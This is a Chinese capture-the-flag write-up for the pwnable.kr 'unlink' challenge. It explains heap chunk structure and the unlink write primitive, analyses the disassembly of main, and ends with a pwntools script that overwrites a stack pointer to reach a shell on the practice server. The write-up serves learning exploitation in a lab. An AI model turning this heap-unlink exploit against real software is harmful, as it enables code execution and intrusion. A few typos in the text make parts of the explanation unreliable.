pwnable.kr unlink之write up
我们来看一下源代码:
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; }
思路是堆溢出unlink漏洞的利用,记住这来之不易的命令:
首先了解一下关于unlink的利用:
http://wooyun.jozxing.cc/static/drops/tips-7326.html
0x01 heap chunk
的结构:
+-----------+---------+------+------+-------------+ | | | | | | | | | | | | | prev_size |size&Flag| fd | bk | | | | | | | | | | | | | | +-----------+---------+------+------+-------------+
如果本chunk
前面的chunk
是空闲的,那么第一部分prev_size
会记录前面一个chunk
的大小,第二部分是本chunk
的size
,因为它的大小需要8字节对齐,所以size
的低三位一定会空闲出来,这时候这三个位置就用作三个Flag
(最低位:指示前一个chunk
是否正在使用;倒数第二位:指示这个chunk
是否是通过mmap
方式产生的;倒数第三位:这个chunk
是否属于一个线程的arena
)。之后的FD和BK部分在此chunk
是空闲状态时会发挥作用。FD指向下一个空闲的chunk
,BK指向前一个空闲的chunk
,由此串联成为一个空闲chunk
的双向链表。如果不是空闲的。那么从fd开始,就是用户数据了。
0x02 检查是否可以向后合并
首先需要检查previous chunk
是否是空闲的,如果前一个chunk正在使用则不满足向后合并
0x03 检查是否可以向前合并
在这里需要检查next chunk
是否是空闲的(通过下下个chunk
的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于chunk first
而言的)的过程中,首先当前chunk+
当前size
可以引导到下个chunk
,然后从下个chunk
的开头加上下个chunk
的size
就可以引导到下下个chunk
。但是我们已经把下个chunk
的size
覆盖为了-4,那么它会认为下个chunk
从prev_size
开始就是下下个chunk了,既然已经找到了下下个chunk
,那就就要去看看size
的最低位以确定下个chunk
是否在使用,当然这个size
是-4
,所以它指示下个chunk
是空闲的。在这个时候,就要发生向前合并了。即first chunk
会和 first chunk
的下个chunk
(即second chunk
)发生合并。在此时会触发unlink(second)
宏,想将second
从它所在的bin list
中解引用。
这道题的漏洞就是gets将shellcode写入造成了堆溢出。
首先在gets(A->buf)后,执行了unlink操作,操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。
该覆写过程发生于Unlink函数中,当输入A->buf溢出覆盖了B->fd和B->bk时,可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。
在ida中打开main函数:
stack address 和heap address已经给出来了
看一下main函数:
pwndbg> disass main Dump of assembler code for function main: 0x0804852f <+0>: lea ecx,[esp+0x4] 0x08048533 <+4>: and esp,0xfffffff0 0x08048536 <+7>: push DWORD PTR [ecx-0x4] 0x08048539 <+10>: push ebp 0x0804853a <+11>: mov ebp,esp 0x0804853c <+13>: push ecx 0x0804853d <+14>: sub esp,0x14 0x08048540 <+17>: sub esp,0xc 0x08048543 <+20>: push 0x400 0x08048548 <+25>: call 0x80483a0 <malloc@plt> 0x0804854d <+30>: add esp,0x10 0x08048550 <+33>: sub esp,0xc 0x08048553 <+36>: push 0x10 0x08048555 <+38>: call 0x80483a0 <malloc@plt> 0x0804855a <+43>: add esp,0x10 0x0804855d <+46>: mov DWORD PTR [ebp-0x14],eax 0x08048560 <+49>: sub esp,0xc 0x08048563 <+52>: push 0x10 0x08048565 <+54>: call 0x80483a0 <malloc@plt> 0x0804856a <+59>: add esp,0x10 0x0804856d <+62>: mov DWORD PTR [ebp-0xc],eax 0x08048570 <+65>: sub esp,0xc 0x08048573 <+68>: push 0x10 0x08048575 <+70>: call 0x80483a0 <malloc@plt> 0x0804857a <+75>: add esp,0x10 0x0804857d <+78>: mov DWORD PTR [ebp-0x10],eax 0x08048580 <+81>: mov eax,DWORD PTR [ebp-0x14] 0x08048583 <+84>: mov edx,DWORD PTR [ebp-0xc] 0x08048586 <+87>: mov DWORD PTR [eax],edx 0x08048588 <+89>: mov edx,DWORD PTR [ebp-0x14] 0x0804858b <+92>: mov eax,DWORD PTR [ebp-0xc] 0x0804858e <+95>: mov DWORD PTR [eax+0x4],edx 0x08048591 <+98>: mov eax,DWORD PTR [ebp-0xc] 0x08048594 <+101>: mov edx,DWORD PTR [ebp-0x10] 0x08048597 <+104>: mov DWORD PTR [eax],edx 0x08048599 <+106>: mov eax,DWORD PTR [ebp-0x10] 0x0804859c <+109>: mov edx,DWORD PTR [ebp-0xc] 0x0804859f <+112>: mov DWORD PTR [eax+0x4],edx 0x080485a2 <+115>: sub esp,0x8 0x080485a5 <+118>: lea eax,[ebp-0x14] 0x080485a8 <+121>: push eax 0x080485a9 <+122>: push 0x8048698 0x080485ae <+127>: call 0x8048380 <printf@plt> 0x080485b3 <+132>: add esp,0x10 0x080485b6 <+135>: mov eax,DWORD PTR [ebp-0x14] 0x080485b9 <+138>: sub esp,0x8 0x080485bc <+141>: push eax 0x080485bd <+142>: push 0x80486b8 0x080485c2 <+147>: call 0x8048380 <printf@plt> 0x080485c7 <+152>: add esp,0x10 0x080485ca <+155>: sub esp,0xc 0x080485cd <+158>: push 0x80486d8 0x080485d2 <+163>: call 0x80483b0 <puts@plt> 0x080485d7 <+168>: add esp,0x10 0x080485da <+171>: mov eax,DWORD PTR [ebp-0x14] 0x080485dd <+174>: add eax,0x8 0x080485e0 <+177>: sub esp,0xc 0x080485e3 <+180>: push eax 0x080485e4 <+181>: call 0x8048390 <gets@plt> 0x080485e9 <+186>: add esp,0x10 0x080485ec <+189>: sub esp,0xc 0x080485ef <+192>: push DWORD PTR [ebp-0xc] 0x080485f2 <+195>: call 0x8048504 <unlink> 0x080485f7 <+200>: add esp,0x10 0x080485fa <+203>: mov eax,0x0 0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4] 0x08048602 <+211>: leave 0x08048603 <+212>: lea esp,[ecx-0x4] 0x08048606 <+215>: ret
从上面红色阴影部分得出,A,B,C的地址分别为ebp-0x14,ebp-0xc,ebp-0x10,再看黄色部分的unlink函数,leave在32位汇编下相当于
mov esp,ebp
pop ebp
et指令的作用是栈顶字单元出栈,其值赋给EIP寄存器,只要能够修改ESP寄存器的内容修改为shellcode的地址就能够执行shellcode。
在该段代码中在ecx-0x4的地址被传送给esp,ebp-0x4的内容被赋值给了ecx,由此可知我们需要修改的是ebp-0x4的内容。
在将shellcode写入A中后,因为A的地址为ebp-0x14,需要修改的地址为ebp-0x4,则ebp-0x4相对于A的位置为&A+0x10。
由图知道,shellcode的地址为heap address+8,又因为是将ecx-4的指针赋值给esp,shellcode的地址还需要加8
+-------------------+-------------------+ <- [A]
| FD | BK |
+-------------------+-------------------+ <- [A->buf]
| shellcode | AAAA |
+---------------------------------------+
| AAAAAAAA |
+---------------------------------------+ <- [B]
| fd1 | bk2 |
+-------------------+-------------------+
所以 :
fd1 = heap_addr+12
bk2 = stack_addr+16
而ecp=ebp-0x4,所以shellcode+8=ebp-0x4。于是写出exp:
1 from pwn import * 2 3 shell_addr = 0x080484eb 4 5 s = ssh(host='pwnable.kr', 6 port=2222, 7 user='unlink', 8 password='guest' 9 ) 10 p = s.process("./unlink") 11 p.recvuntil("here is stack address leak: ") 12 stack_addr = p.recv(10) 13 stack_addr = int(stack_addr,16) 14 p.recvuntil("here is heap address leak: ") 15 heap_addr = p.recv(9) 16 heap_addr = int(heap_addr,16) 17 18 payload = p32(shell_addr)+'a'*12+p32(heap_addr + 12)+p32(stack_addr +16) 19 p.send(payload) 20 p.interactive()
跑出flag: